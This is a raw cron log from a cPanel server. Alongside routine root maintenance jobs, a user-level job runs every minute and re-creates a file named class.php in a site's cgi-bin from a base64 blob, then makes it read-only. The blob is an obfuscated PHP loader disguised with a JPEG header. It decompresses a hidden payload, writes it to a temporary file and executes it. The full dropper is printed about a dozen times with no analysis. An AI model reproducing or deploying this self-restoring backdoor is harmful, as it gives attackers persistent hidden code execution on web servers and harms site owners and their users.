Apr  6 21:20:01 server CROND[13453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:21:01 server CROND[13582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:22:01 server CROND[13647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:23:01 server CROND[13714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:24:01 server CROND[13902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:25:01 server CROND[13995]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 21:25:01 server CROND[13997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:25:01 server CROND[13996]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 21:26:01 server CROND[14179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:27:01 server CROND[14265]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 21:27:01 server CROND[14266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:28:01 server CROND[14347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:29:01 server CROND[14472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:30:01 server CROND[14568]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 21:30:01 server CROND[14569]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 21:30:01 server CROND[14570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:30:01 server CROND[14571]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 21:31:01 server CROND[14694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:32:01 server CROND[14748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:33:01 server CROND[14812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
